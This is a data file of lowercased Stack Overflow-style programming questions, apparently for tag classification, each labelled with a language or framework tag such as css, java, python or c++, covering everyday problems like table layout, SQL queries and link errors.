drawing a line in html  i m quite new to html and i need to make a website for my school. for aesthetic purposes i want to put in a line between two bits of text  but when i try to  it just shows the code where i m trying to put the line. this is the code:    css:   <pre><code>hr {     display: block;     height: 1px;     border: 0;     border-top: 1px solid #ccc;     margin: 1em 0;     padding: 0; } </code></pre>   with the following html:   <pre><code>&lt;tr&gt;     &lt;td align= center &gt;         &lt;br&gt;         &lt;p class= paragraph &gt;             &lt;strong&gt;&lt;font size= 40 &gt;we ve been busy&lt;/font&gt;&lt;/strong&gt;         &lt;/p&gt;hr { display: block; height: 1px; border: 0; border-top: 1px solid #ccc; margin: 1em 0; padding: 0; }         &lt;p class= paragraph &gt;             &lt;strong&gt;&lt;font face= trebuchet ms  size= 40 &gt;check it out!&lt;/font&gt;&lt;/strong&gt;         &lt;/p&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>   and this is what happens when i look at the page    <a href= https://i.stack.imgur.com/3vugl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/3vugl.png  alt= enter image description here ></a>    what am i doing wrong,html
how to minimize width of a table column (expand one column)   i have a simple two column table where the left shows line numbers and the right shows code. i want the left-side to be the smallest size without clipping  and the right side to fill the remaining area (the whole table should be a 100% width).   <pre><code>&lt;table&gt;   &lt;tr&gt;      &lt;td&gt;&lt;pre&gt;line numbers&lt;/pre&gt;&lt;/td&gt;      &lt;td&gt;&lt;pre&gt;code&lt;/pre&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   the problem is that if the content on the right isn t large enough the extra space will also be balanced to the left (the line number column gets wider than it needs to be). how can i force all extra space to go into the right column,css
app minimizing after load view controller on ios 10  on some devices with ios 10  users reports that application goes into background after load some view controllers (different for each user).     there is no crash on device. if user double tap on home button the application is present on multitask bar.     after tap on it is looks like func <code>application(application: uiapplication  didfinishlaunchingwithoptions launchoptions: [nsobject: anyobject] ) -&gt; bool</code> is called.     does anyone faces with similar issue,ios
camera preview inside window with iphone  i can launch a camera capture with uiimagepicker but capture process is done in another view. is it possible to  embed  camera preview into the application window     what i use is:   <pre><code>uiimagepickercontroller *picker; picker = [[uiimagepickercontroller alloc]init]; picker.sourcetype = uiimagepickercontrollersourcetypecamera; picker.allowsimageediting = yes; picker.delegate = self; [self presentmodalviewcontroller:picker animated:yes]; </code></pre>,iphone
how to effect all application ui when my android application localization language is changed through dynamically   i am implementing my android application in this when i click anyone of my 6 languages list fragment then i need to change the all application ui(buttons names  textview ..) into my selected language. i am not understanding how to do this  so could you please help me to fix this issue.,android
setting two absolutely positioned div elements side by side  here is my html     <pre><code> &lt;div id= menucont &gt;    &lt;div id= submenu &gt;        &lt;input type= button  value= button1 /&gt;        &lt;input type= button  value= button1 /&gt;        &lt;input type= button  value= button1 /&gt;       &lt;/div&gt;    &lt;div id= menu &gt;    &lt;/div&gt;  &lt;/div&gt; </code></pre>   and here is my css     <pre><code> #menu{     height: 550px;     width: 360px;     position: absolute;     top: 2px;     right: 2px;     background-color: gray  }  #menucont{     top: 0px;     position: absolute  } </code></pre>   i am trying to align elements in a way that.. menu div should come at the top right position.  please help me on this.but now it is not..,css
how do i make these html characters   dog and cat  wth  i got these in an email from reddit  but don t know how they did them. a google search turned up nothing since these characters aren t really searchable.,html
trying to understand what this mysql table means  i have this table:   <pre><code>create table user_roles ( user_id int unsigned not null  role_id int unsigned not null  unique (user_id  role_id)  index(id) ); </code></pre>   <code>user_id</code> and <code>role_id</code> are primary keys of other tables  namely <code>user</code> and <code>roles</code>. what does <code>unique (user_id  role_id) </code> mean  does it mean that all <code>user_id</code>/<code>role_id</code> pairs have to be unique     and what is <code>index(user_id)</code> for,mysql
c# - using different types of object as function parameter  i´m writing a function which parses json and may return different types of objects. say  i´m parsing an bird json and want to return a bird object  then a tiger json and want to get a tiger object insted.    how can i do this  should i use a dynamic object  and  if this is the answer  how     i don´t want to overload the logic on each type of object i´d want to get from it.    thanks in advance     ariel,c#
rails 3 - using set_primary_key causes routing error  i was searching google and stackoverflow for long time  but i can t find the solution of my problem.     lately  i was using set_primary_key for a table called  employee   because i need to use ther personnel number as my primary key. if i set the code    <pre><code>`set_primary_key :personel_number` </code></pre>   (personel_number is already a collumn which i want to use as primary key) into my model before i do rake db:migrate and do migrating at last  i come into troubles when i try to fill my database via browser:    <pre><code>`couldn t find employee with id=1`  `app/controllers/mitarbeiters_controller.rb:16:in `show ` </code></pre>   rails searches for employee with id=1 but it can t find  because i set primary key from personel_number with 601 (e.g.).     can i do something against it or shall i let rails create it s own :id first,ruby-on-rails
how to enforce an integer limit in an argument hint in java  i m new to java after working for a few years in php and i m trying to get an idea of some of the best practices and norms when working with java.    i m wondering if it makes sense to make a whole class to act as a custom type just to enforce a limit on the range of an integer argument      for example:   <pre><code>class person() {   private int age;    public person(int age) {     if(age &lt; 0) {       throw new illegalargumentexception();     }     this.age = age;   }    public int getage() {     return age;   } } </code></pre>   or:   <pre><code>class person() {   private age age;    public person(age age) {     this.age = age;   }    public int getage() {     return age.toint();   } }   class age() {   private int age;    public age(int age) {     if(age &lt; 0) {       throw new illegalargumentexception();     }     this.age = age;   }      public toint() {     return age;   } }       </code></pre>   also  in the second example i m converting the age object to an int in person.getage()  which is convenient but somehow feels wrong since person s constructor takes an age object. any thoughts     thanks!,java
how to convert .xesc files to .wmv file programmatically. in c#  i am currently creating a personal desktop recording program using the microsoft expression encoder. however  when the video file is created it is saved as a .xesc file  i know that you can convert these in the expression encoder software but i was wondering if there is any way to do this programmatically     here is my code so far:   <pre><code>private void screencap() {     job = new screencapturejob();     size workingarea = systeminformation.primarymonitorsize;     rectangle capturerect = new rectangle(0  0  workingarea.width  workingarea.height);     job.capturerectangle = capturerect;     job.capturemousecursor = true;     job.addaudiodevicesource(audiodevices());     job.outputpath = @ c:\users\public\videos ;     job.start(); } </code></pre>,c#
enable general logging mysql 5.6.14  i have mysq 5.6.14 and centos 6.4. in /etc/my.cnf i have:   <pre><code>[mysqld] sql_mode=no_engine_substitution strict_trans_tables bind-address=127.0.0.1 character-set-server=utf8 init-connect= set names utf8  skip-character-set-client-handshake general_log=1 general_log_file=/var/log/mysql log-output=file </code></pre>   when i make a mistake in my.cnf i cant restart mysql (service mysql restart). it means that mysql reads this file. however i don t have /var/log/mysql file. what is my mistake,mysql
two floated divs - both full width on resize  i have two divs within a container   <pre><code>&lt;div class= container &gt;     &lt;div id= left &gt;&lt;img src= logo.jpg  width= 160  /&gt;&lt;/div&gt;     &lt;div id= right &gt;         &lt;h2&gt;name&lt;/h2&gt;         &lt;h3&gt;address&lt;/h3&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   when the browser is resized i would like both divs to fill the width of the parent container with the contents of the left div being centered.    i can accomplish this with media queries using:   <pre><code>/* base style */ #left  #right {     float: none;     width: 100%; }  /* large devices */ @media (min-width: 1200px) {     #left  #right {         float: left;         width: auto;     } } </code></pre>   this however has its problems as the content in the right div is variable so the break point will always be different depending on the content loaded.    is it possible to make both divs 100% width automatically when they can no longer be inline,css
unknown space between 2 container divs  im trying to determine why there would be space between 2 containing divs as shown  and i would appreciate any insight as to why this is occurring:    <img src= https://i.stack.imgur.com/idesk.gif  alt= unknown space between 2 divs >    the unknown space occurs between the mid-feature div (olive) and bottom-wrap div (orange)    i have no heights set anywhere.    i would like to see the orange div up against the olive div just above it.    i can post all of the css  or you can firebug this:  <a href= http://www.davincispainting.com  rel= nofollow noreferrer >www.davincispainting.com</a>    here is all of the css:   <pre><code>*{ margin:0; padding:0 } body { /*background: url( /images/blueback5.jpg ) repeat-x scroll 0 0 transparent;*/ background-color: #9eb0c8; font-family: arial helvetica sans-serif; font-size: 62.5%; } #top-wrap { height: 126px; width: 940px;     /*background-color: yellow;*/ margin: 5px 0 0 0; } #head-logo { background: url( /images/logo3.png ) no-repeat scroll 0 0 transparent; /*background-color: green;*/ height: 126px; width: 214px; margin: 0px 0 0 58px; position: absolute; z-index: 100; } #submenu1 { border: 0 solid #000000; color: #ffffff; /*background-color:green;*/ font-family: arial impact impact5 charcoal6 sans-serif; font-size: 1.6em; height: 35px; width: 155px; /*padding: 10px 0 0;*/ margin: 7px 0 0 774px; position: absolute; } #submenu2 { /*border: 0 solid #000000;*/ color: #ffffff; /*background-color:blue;*/ font-family: arial impact impact5 charcoal6 sans-serif; font-size: 1.8em; text-align: right; height: 20px; width: 114px; margin: 30px 0 0 818px; /*padding: 5px 0 0;*/ }      a.contact { background-image: url( /images/rapidbutton2.png ); /*border: 1px solid #cccccc;*/ /*clear: both;*/ /*color: #ffffff;*/ display: block; font-size: 11px; /*margin-bottom: 1px;*/ /*padding: 3px 5px;*/ text-align: center; width: 165px; height: 27px; } a.contact:hover { background-image: url( /images/rapidbuttonhov2.png ); }  #navigation-primary { margin: 12px 0 0 276px; position: absolute;   } #global-wrap { margin: 0 auto; text-align: left; width: 880px; overflow: hidden; } #global-inner { background: url( /images/main_bg.gif ) repeat-y scroll 0 0 #e4eaef; font-family: arial; font-size: 1.2em; margin: 15px 0 55px 0; overflow: hidden; text-align: left; width: 880px; } #global-inner .topleft { background: url( /images/main_left_top_corner2.jpg ) no-repeat scroll left top transparent; float: left; height: 9px; width: 9px; } #global-inner .topright { background: url( /images/main_right_top_corner2.jpg ) no-repeat scroll right top transparent; float: right; height: 9px; width: 9px; } #global-inner .bottomleft { background: url( /images/main_left_bottom_corner.jpg ) no-repeat scroll left bottom transparent; float: left; height: 9px; margin-top: -8px; /*margin: 776px 0 0 0;*/ width: 9px; } #global-inner .bottomright { background: url( /images/main_right_bottom_corner.jpg ) no-repeat scroll right bottom transparent; float: right; height: 9px; margin-top: -8px; /*margin: 776px 0 0 0;*/ width: 9px; } #top-feature { height:330px; width: 848px; margin: 12px 0 0 16px; background: #e4eaef; /*background: orange;*/ /*padding: 10px 0 0 10px;*/ position: absolute; text-align: left; } .slideshow { height: 330px; width: 848px; margin: 0 0 0 0; /*background: blue;*/ position: absolute; } #mid-feature { margin:350px 0 0 16px; width:848px; height:318px; background-color:olive; position:relative; overflow:hidden;   } #mid-featureleft { height:318px; width:552px; /*background-color:purple;*/ float:left; position:relative; } #mid-featureright { height:318px; width:296px; background-color:#b9c1cc; /*background-color: red;*/ float:left; position: relative; }  #mid-featureleft h1  { color: #ff0000; font-family: arial helvetica sans-serif; font-size: 2.1em; } #mid-featureleft .contentbox { padding:7px 7px 7px 7px; } #mid-featureleft p  { color: #0c2a55; margin:0px 0 11px 0px; /*font-style:normal;*/ /*width: 97%;*/ /*font-size: .5em;*/ font-size: 12px; }  #bottom-wrap { height:60px; width: 868px; margin: auto 0 0 6px; background:orange; position: relative;    } #copyright { float: left;  /*background-color:teal;*/  width: 260px;  height: 60px; text-align: left; position: absolute; margin:0 0 0 6px;  } #bottom-logos { height:60px; width:596px; margin:0 0 0 267px; background: url( /images/logos2.png ) no-repeat scroll 0 0 transparent; /*background-color:red;*/ position:absolute;   } </code></pre>,css
multiple selects really needed   i have the following table.   <pre><code>____________________________________ | carid | changeid | data1 | data2 |  |_______|__________|_______|_______| | 1     | 1        |a      |b      | | 1     | 2        |c      |d      | | 1     | 3        |e      |f      | | 2     | 3        |g      |h      | | 2     | 2        |i      |j      | | 2     | 4        |k      |l      | | 3     | 5        |m      |n      | | 3     | 1        |o      |p      | | 4     | 6        |q      |r      | | 4     | 2        |s      |t      | |_______|__________|_______|_______| </code></pre>   i want to select the following result:   <hr>  <pre><code>| carid | changeid | data1 | data2 |  |_______|__________|_______|_______| | 1     | 1        |a      |b      | | 1     | 2        |c      |d      | | 1     | 3        |e      |f      | | 3     | 5        |m      |n      | | 3     | 1        |o      |p      | |_______|__________|_______|_______| </code></pre>   in words:  if a row has changeid=1 i want to select all the rows with the same carid as the row with changeid=1.    this problem is quite easy to solve with a query using multiple selects. first select all rows with changeid=1 and take those carids and select all rows with those carids. simple enough.    i was more wondering if it is possible to solve this problem <strong>without</strong> using multiple selects  preferably i m looking for a faster solution but i can try that out myself.,sql
<unable to read memory> while using fstream  so i ve been trying to open a file i created  but i keep getting an  error when i try to open my file. here is what the debugger says:    <pre><code>std::basic_ios&lt;char std::char_traits&lt;char&gt; &gt; = &lt;unable to read memory&gt; </code></pre>   basically what happens is that the first time i run the program it runs fine  but then the second time it crashes when trying to read the file previously created. it throws an exception :     unhandled exception at 0x012f1539 in project3.exe: 0xc0000005: access violation reading location 0x00000003.    here is the function that throws the exception:   <pre><code>int convert(string balance  int lineno){ // funciton to convert strings in file to ints--------------------------------- //getting information from the file about locations  int *pointer; pointer = findnewlines(); static int linenopos[11]; try{      for (int i = 0; i &lt; 11; i++){         linenopos[i] = *(pointer + i);     } } catch (const std::exception&amp; e){     std::cout &lt;&lt; e.what() &lt;&lt; std::endl; } int balanceint;  try {     balancefile.open( e:\\moneystuff\\balance.txt   ios::in | ios::out); } catch (const std::exception&amp; e) {     std::cout &lt;&lt; e.what() &lt;&lt; std::endl; }  //opening file balancefile.open( e:\\moneystuff\\balance.txt   ios::in | ios::out);  //getting balances balancefile.seekg(linenopos[(lineno - 1)]  ios::beg); getline(balancefile  balance);  balancefile.close();  stringstream convert(balance);//variable to convert string balance to integer balance  //converting balance string to int convert &gt;&gt; balanceint;  //setting balanceint to 0 if the file doesn t exist if (balanceint &lt; -30000)     balanceint = 0;  return balanceint; } </code></pre>   and here is the function that it calls (just in case that s the problem):   <pre><code>int * findnewlines(){ //function to find the \n characters in the txt file---------------------------------------------- //creating variables for function static int linenopos[11];//vector to store line positions in char c; //variable for checking character value int pos; //variable for temporarily storing position int lineno = 0; //integer to tell which line to read  //writing in first line position linenopos[0] = 0; lineno++;  balanceifile.open( e:\\moneystuff\\balance.txt   ios::binary); do{     balanceifile.get(c);     if (c ==  \n ){         pos = balanceifile.tellg();         linenopos[lineno] = pos;         lineno++;     } } while (balanceifile.good());  //resetting error flags balanceifile.clear();  return linenopos; } </code></pre>,c++
why there still have error return type required   i want to draw a line from value in function before. therefore  i need a return function so  it more smoothly to draw a line in graphic function.    i confused  why there still error since i was put the return function. please help me..     program.java:45: invalid method declaration; return type required    <pre><code>   public static sll(int sll)     public program()   {      super( myprogram ); //window name      .....      computebutton.addactionlistener(this);   }      public void actionperformed(actionevent ee)   {   }    public static sll(int sll)   {  ....       homeposition hp[][] = new homeposition[2][6];      homeposition dp[][]= new homeposition[2][6];      homeposition fb[][] =new homeposition[2][6];      ...      fb[1][0].x= fb[2][0].x=40;      fb[1][0].y=fb[2][0].y=40;       hp[1][0].x = 40;       hp[1][0].y = 30;              hp[1][1].x = 26;       hp[1][1].y = 30;               dp[1][0].x = 30;           dp[1][0].y =40;          dp[1][1].x = 16;           dp[1][1].y = 40;          sll.slx[m][n]=hp[m][n].x;       return sll;   }     public void paint(graphics g) {      super.paint(g);            }         basicstroke stroke;      graphics2d g2 = (graphics2d)g;       stroke = new basicstroke(4.0f);       g2.setstroke(stroke);     .....       for (m=1;m&lt;=2;m++){         for (n=0;n&lt;=1;n++){              g2.drawline( sll.slx[m][n]*m 40*m 40*m 30*m);         }      }   }     public static void main(string[] arguments)   {      program frame=new program();      final int width=910;      final int length=725;      frame.setsize(width length);      final int buttonwidth=30;      final int buttonheight=10;      frame.setvisible(true);   } } </code></pre>,java
python - loop and iterable items  i have a quick question regarding loops and iterable items in python. i have a data frame (df) and the following loop:   <pre><code>for i  col in df.iteritems(): print(i) print(col) </code></pre>   i am not sure if i have understood correctly how iterable items work. how does python know that <em>i</em> are the variable names of the data frame df and <em>col</em> corresponds to the rows     i tried to look for some literature on this but couldn t find anything helpful. can anyone explain this to me     thank you,python
how to sort dictionary in alphabetical order   i m doing an exercise where given a csv file <code>message.csv</code> (the first three lines of which are displayed below)  i need to write a program to count the number of messages from each sender  then print the output in alphabetical order by sender.    <em>sender message <br/>  hello there!  <br/>  computing is damn hard! </em> <br/>    this is what i have tried so far:   <pre><code>from collections import defaultdict import csv counting = defaultdict(int) for row in csv.reader(open(message.csv)):     counting[row[0]] += 1 </code></pre>   i m stuck on how to continue.,python
how to concatenate three values from different tables in c#  i am using a c# winforms application. i want to concatenate three values from three different tables into a single label.    i have tried this line of code to get values from tables but it is not working.   <pre><code>this.label15.text = reader[ coursename  +  teachername  + roomname ].tostring(); </code></pre>   kindly help me.,c#
sql statement  using as clause  ok so i m trying to figure out how to change data is viewed once it is displayed in a select statement. so the table looks like this    <strong>holiday_details</strong>    holiday_code - holiday_desc - country_visited    country_visited can be either  usa    india    china   or  spain .    my question is  in a view statement  how would i use an as clause to change  usa  to america  etc    i thought i might have to use a nested select statement but that didn t work.,sql
how to make mdiforms in objective c   i need to have multiple windows on main window. same as mdiforms. that means having parent and child relationship between main window and other windows.    but i am not getting how to implement this. can anyone help me for this...,objective-c
multiple thead getting created in dom  is there anything wrong with the html below    <ol> <li>it creates two thead s in the dom.</li> <li>the source (ctrl+u) looks okay - exactly how i ve written.</li> </ol>   i am using firefox.   <pre><code>&lt;html&gt; &lt;body&gt; &lt;table id= interactions  class= tablesorter  style= width:600px; height=1024px &gt;     &lt;thead&gt;         &lt;tr&gt;             &lt;th width= 800 &gt;charts&lt;/th&gt;             &lt;th width= 20 &gt;chi square p-value&lt;/th&gt;         &lt;/tr&gt;     &lt;thead/&gt;     &lt;tbody&gt;&lt;/tbody&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   here s screenshot of dom for the html. <img src= https://i.stack.imgur.com/lrfca.png  alt= enter image description here >,html
declaration for an uiimage in nsobject  <a href= https://i.stack.imgur.com/sstio.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sstio.png  alt=  ></a>    reffered these links  <a href= https://stackoverflow.com/questions/15106683/adding-an-image-to-a-nsobject-possible >adding an image to a nsobject - possible </a> <a href= https://stackoverflow.com/questions/17244823/how-to-save-to-and-read-from-a-nsobject >how to save to and read from a nsobject</a>,ios
java 2d perlin noise for random terrain generation  my name is chris and i m working on my first java game. thus far  i have created a tile based 2d game  however my level is done in such a way so that if i create an image and its all green  then that green would stand for a grass tile. if i put a pixel of blue  the game would assign that as a water tile.    however  that limits the game to how i design the level  i d much rather have an infinite terrain of tiles.     being a beginner  i looked up different ways to do so. a particularly poignant method was something called a perlin noise.    i looked into it but it seemed very complex.    would somebody mind defining it in simpler terms      also  if you have any tutorials that  dumb  it down a bit and give a brief overview  that d be fantastic!    sorry i haven t been too specific  i m actually avoiding from doing so.,java
visual studio 2015 c++ unresolved external symbol link error  i m a visual studio 2015 c++ newby who s trying to write some game code at home.    i m getting this link error: lnk2019 unresolved external symbol  public: class std::basic_string class std::allocator > __thiscall display_utils::fit_int_2(int)  ( fit_int_2@display_utils@@qae av $basic_string@du $char_traits@d@std@@v $allocator@d@2@@std@@h@z) referenced in function  public: void __thiscall bat_stats::disp_bat_stats(struct bat_stats::bat_stats_typ)  ( disp_bat_stats@bat_stats@@qaexubat_stats_typ@1@@z)       it apparently doesn t like the string i m using to access the returned string from function fit_int_2.  i ve google searched for a solution  but can t find anything that fixes my problem.  note that the code compiled and linked before i i added the fit_int_2 call.  thanks in advance if you can help me out.  the code is below:   <h1>bat_stats.h</h1>  <pre><code>#pragma once  class bat_stats { public:     struct bat_stats_typ     {         int gm;         int ab;         int ht;         int dbl;         int trpl;         int hr;         int rbi;         int sb;         int cs;         int bb;         int ibb;         int sf;         int sac;         int k;         int gidp;         int err;         float ave;         float slg;         float obp;     };     void disp_bat_hdr();     void disp_bat_stats( bat_stats_typ ); private:     int dummy; }; </code></pre>  <h1>bat_stats.cpp</h1>  <pre><code>#include &lt;iostream&gt; using std::cout; std::cin;  #include &lt;string&gt; using std::string;  #include  bat_stats.h  #include  display_utils.h   void bat_stats::disp_bat_hdr() {     cout &lt;&lt;   g  ab  h  2b 3b hr rbi sb cs bb iw sf sh  k gdp  e  ave  slg  obp\n ; }  void bat_stats::disp_bat_stats( bat_stats_typ bat ) {     display_utils dut;      string s;      s = dut.fit_int_2( bat.gm );         // &lt;- the problem is here!     cout &lt;&lt; s &lt;&lt; bat.gm &lt;&lt;    ;     cout &lt;&lt; bat.ab &lt;&lt;  \n\n ; } </code></pre>  <h1>display_utils.h</h1>  <pre><code>#pragma once  #include &lt;string&gt; using std::string;  class display_utils { public:     void insert_5_lines();     string fit_int_2( int ); private:     int dummy; }; </code></pre>  <h1>display_utils.cpp</h1>  <pre><code>#include &lt;iostream&gt; using std::cout;  #include  display_utils.h   void display_utils::insert_5_lines() {     cout &lt;&lt;  \n\n\n\n\n ; }  string fit_int_2(int i0) {     string s0 =   ;      if (i0 &lt; 10)     {         s0 =    ;     }     return s0; } </code></pre>,c++
html - displaying text with <> in  i ve run into a problem that with html if i want to show some text which is in between arrows  for example  <code>&lt;uikit/uikit.h&gt;</code>  it won t be displayed because it thinks it s a tag not text.    i have tried:   <pre><code>&lt;p&gt;&lt;uikit/uikit.h&gt;&lt;/p&gt; </code></pre>   but that doesn t work either  how do you get around this,html
c# store user input in a array inside struct  please help me on this.    i am new to c# and structure   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace dhiru { class program {     struct studentinformation     {         public string[ ] student;          public studentinformation(int fvalue  int lvalue)         {             student = new string[5  7];             for (int i = 0; i &lt; 6; i++ )             {                 for (int j = 0; j &lt; 5; j++ )                 {                     switch (i)                     {                         case 0:                             console.writeline( enter the student first name :  );                             student[i  j] = console.readline();                             break;                         case 1:                             console.writeline( enter the student last name :  );                             student[i  j] = console.readline();                             break;                         case 2:                             console.writeline( enter the student address :  );                             student[i  j] = console.readline();                             break;                         case 3:                             console.writeline( enter the student city :  );                             student[i  j] = console.readline();                             break;                         case 4:                             console.writeline( enter the student state :  );                             student[i  j] = console.readline();                             break;                         case 5:                             console.writeline( enter the student country :  );                             student[i  j] = console.readline();                             break;                     }                 }             }         }     }     static void main(string[] args)     {         string sfirstname =   ;         string slastname =   ;         string saddress =   ;         string scity =   ;         string sstate =   ;         string scountry =   ;          studentinformation sinfo = new studentinformation();         for (int i = 0; i &lt; 6; i++)         {             for (int j = 0; j &lt; 5; j++)             {                 switch(i)                 {                     case 0:                         sfirstname = sinfo.student[i  j];                         break;                     case 1:                         slastname = sinfo.student[i  j];                         break;                     case 2:                         saddress = sinfo.student[i  j];                         break;                     case 3:                         scity = sinfo.student[i  j];                         break;                     case 4:                         sstate = sinfo.student[i  j];                         break;                     case 5:                         scountry = sinfo.student[i  j];                         break;                 }             }             console.writeline( {0} {1} is a student comes from city : {2}  state: {3}  country: {4} and his address is {5}   sfirstname  slastname  scity  sstate  scountry  saddress); //print the output         }     }  } } </code></pre>   this code is throwing null reference exception which i know why but i don t know how to correct this other than using the for loop of struct in main method. i want to take user input in struct.,c#
translate() function error  the translate function is giving me an error that i m giving it 2 members and i should be passing it exactly 1.  this is the correct code based on the books i m using currently.  i m using python 3.4.   <pre><code>import string fhand=open( c:\python34\leos code\mbox.txt ) dictsort = dict() #decorate dictionary for line in fhand:     line = line.translate(none  string.punctuation)     line = line.lower()     words = line.split()     for word in words:         if word not in dictsort:             dictsort[word]= 1         else:             dictsort[word] += 1 #sort dictionary dictlst = [] for k v in dictsort.items():     dictlst.append((v k)) dictlst.sort(reverse=true) for k v in dictlst[:10]:     print (k v) </code></pre>,python
how to find element inside prepend using variables  using jquery 1.3.2. i try to use following construct in jquery but it is not working. no errors in console. is that ok syntax   the action is following: upon clicking a button  it finds an image(clones it) and appends it to another image  which is found by looking at buttons parent with class  top-parent  and then looking inside for image inside element with class(wrapid...).     this is just the appending part of code:   <pre><code>prependto( $(this).closest( .top-parent ).find( .wrapid-  + productidval +   img )) </code></pre>   thank you for advice,jquery
set individual input element to ng-pristine  i know there is a $setpristine() function for the form element  is there an equivalent if i want single to set to ng-pristine single element tags like <code>&lt;input&gt;</code>,angularjs
uva 227 (puzzle) wrong answer despite passing all provided test cases  here is the simple code which i submitted to uva online judging for qn 227. (puzzle) i have tested with various test cases including those from debug.org but still the submission yields  wrong answer . if anyone could point out where the error may lie in the code or just give a test case with which the programme will give wrong answer  it will be greatly appreciated.   <pre><code>//puzzle #define local #include &lt;stdio.h&gt; #include &lt;string.h&gt; #define max 5  int read(char s[max][max]) {     int blank=0;     for(int i=0;i&lt;5;i++)     {         for(int j=0;j&lt;5;j++)         {             s[i][j]=getchar();             if(i==0&amp;&amp;j==0&amp;&amp;s[i][j]== z )                 return -1;             else if(s[i][j]==   )                 blank=i*10+j;         }         for(;getchar()!= \n ;);     }     return blank; }  int write(char s[max][max]  int blank) {     char n;     while((n=getchar())!= 0 )     {         int c1=(blank/10)%10  c2=blank%10;         if(n== \n )             continue;         else if(n== a )         {             if(c1==0)             {                 for(;getchar()!= \n ;);                 return 0;             }             else             {                 s[c1][c2]=s[c1-1][c2];                 s[c1-1][c2]=   ;                 blank-=10;             }         }         else if(n== b )         {             if(c1==4)             {                 for(;getchar()!= \n ;);                 return 0;             }             else             {                 s[c1][c2]=s[c1+1][c2];                 s[c1+1][c2]=   ;                 blank+=10;             }         }         else if(n== l )         {             if(c2==0)             {                 for(;getchar()!= \n ;);                 return 0;             }             else             {                 s[c1][c2]=s[c1][c2-1];                 s[c1][c2-1]=   ;                 blank-=1;             }         }         else if(n== r )         {             if(c2==4)             {                 for(;getchar()!= \n ;);                 return 0;             }             else             {                 s[c1][c2]=s[c1][c2+1];                 s[c1][c2+1]=   ;                 blank+=1;             }          }     else         {             for(;getchar()!= \n ;);             return 0;         }     }     for(;getchar()!= \n ;);     return 1; } int main() {     #ifdef local         freopen( input.txt   r  stdin);         freopen( output.txt   w  stdout);     #endif     char s[max][max];     memset(s  \0  sizeof(s));     int blank  kase=0;     while((blank=read(s))!=-1)     {         if(kase++)             printf( \n );         printf( puzzle #%d:\n  kase);         if(write(s  blank))         {             for(int i=0;i&lt;5;i++)             {                 for(int j=0;j&lt;4;j++)                     printf( %c   s[i][j]);                 printf( %c\n  s[i][4]);             }             continue;         }         else             printf( this puzzle has no final configuration.\n );     }     return 0; } </code></pre>,c++
what is the use of manual bootstrapping in angularjs  i read in an article that the angular js application can be manually bootstrapped.what is the meaning of manually bootstrapping the angular application and how is it done,angularjs
httprequest exception  while calling rest services(remote machine) from local machine i am getting httprequest exception i found that this exception is coming while we are making    asynchronous call using httpclient in the code.   <pre><code>var httpresponse = await      _httpclient.sendasync(httpclientrequests); </code></pre>  <ul> <li> sometimes i am able to get response from services but it is happening <strong>intermittently</strong>. </li> <li> i have cross checked the request url also it s correct. </li> <li>also i am getting data only in debug mode not in release.</li> <li>is this server side issue or client side </li> </ul>,asp.net
open file from server and send to browser  in my asp.net application i create pdf file and save it in app_data folder on server. next i want to open this file that user can print it.    how to open this file in browser   send it in http header etc   someone have some examples     please help ;),asp.net
find next and previous records ordered by position column rails <pre><code>&gt;&gt;  c = course.find(3).course_steps.order(:position) =&gt; [#&lt;coursestep id: 9  step_id: 4  course_id: 3  position: 1  created_at:  2011-03-08 20:57:44   updated_at:  2011-03-08 20:57:44 &gt;  #&lt;coursestep id: 10  step_id: 5  course_id: 3  position: 2  created_at:  2011-03-08 20:57:45   updated_at:  2011-03-08 20:57:45 &gt;  #&lt;coursestep id: 8  step_id: 2  course_id: 3  position: 3  created_at:  2011-03-08 20:57:42   updated_at:  2011-03-08 20:57:42 &gt;] </code></pre>   i need to find a course_step that is after id 9 (which happens to be course_step with id 10) (if it is exists)    i also need to find the previous (if it is exists)    i know i could manually do it be looping through the results  but i would rather do it with sql.    the next sql query would be:   <pre><code>select * from course_steps where position &gt;=position_of_step order by position limit 1 offset 1  </code></pre>   the previous sql query would be:   <pre><code>select * from course_steps where position &lt;= position_of_step order by position desc limit 1 offset 1 </code></pre>   i think i got it!,ruby-on-rails
use answer from more than 1 html drop downs to choose link  i want to write a simple html page containing only two drop-down lists and a submit button. after hitting the submit button i want to load a new page depended on both selects.    here s a simple example of how the page should look like:   <pre><code>&lt;html&gt;   &lt;body&gt;     &lt;select required name= product &gt;         &lt;option&gt;-select product-&lt;/option&gt;         &lt;option value= pa &gt;producta&lt;/option&gt;         &lt;option value= pb &gt;productb&lt;/option&gt;     &lt;/select&gt;     &lt;br&gt;&lt;br&gt;     &lt;select required name= action &gt;         &lt;option&gt;-select action-&lt;/option&gt;         &lt;option value= actiona &gt;actiona&lt;/option&gt;         &lt;option value= actionb &gt;actionb&lt;/option&gt;     &lt;/select&gt;     &lt;br&gt;&lt;br&gt;     &lt;input type= submit /&gt; &lt;/body&gt; </code></pre>       i know that i could make a drop-down containing the four combinations(paactiona pbactiona paactionb pbactionb) or even split it into more pages(one with the product selection and two with the respective action selections) but the actual drop-downs contain a few more options.     i have named the files corresponding to the pages as pbactiona.php and i am guessing i need something like   <pre><code>&lt;form  action= selectaselectb.php  method= post &gt; </code></pre>   where selectaselectb is the concatanation of the selected values.    thanks in advance.,html
how detect networktype (2g/3g/lte) when connected to wifi  i m currently writing an app where i want to detect which network type (2g  3g or lte) an android device is currently connected to. i have tried using the following solutions:    <pre><code>telephonymanager tm = (telephonymanager) context.getsystemservice(context.telephony_service);  tm.getnetworktype() </code></pre>   and connectivitymanager:   <pre><code>connectivitymanager cm = (connectivitymanager) context.getsystemservice(context.connectivity_service); cm.getnetworkinfo(connectivitymanager.type_mobile).getsubtype()  </code></pre>   both methods work fine without wifi connection but if connected to a wifi telephonymanager returns <a href= https://developer.android.com/reference/android/telephony/telephonymanager#network_type_iwlan  rel= nofollow noreferrer >https://developer.android.com/reference/android/telephony/telephonymanager#network_type_iwlan</a> and connectivitymanager returns 0 (unknown).    is there any way to find out if a phone is connected to 2g  3g or lte even if it is connected to a wifi network,android
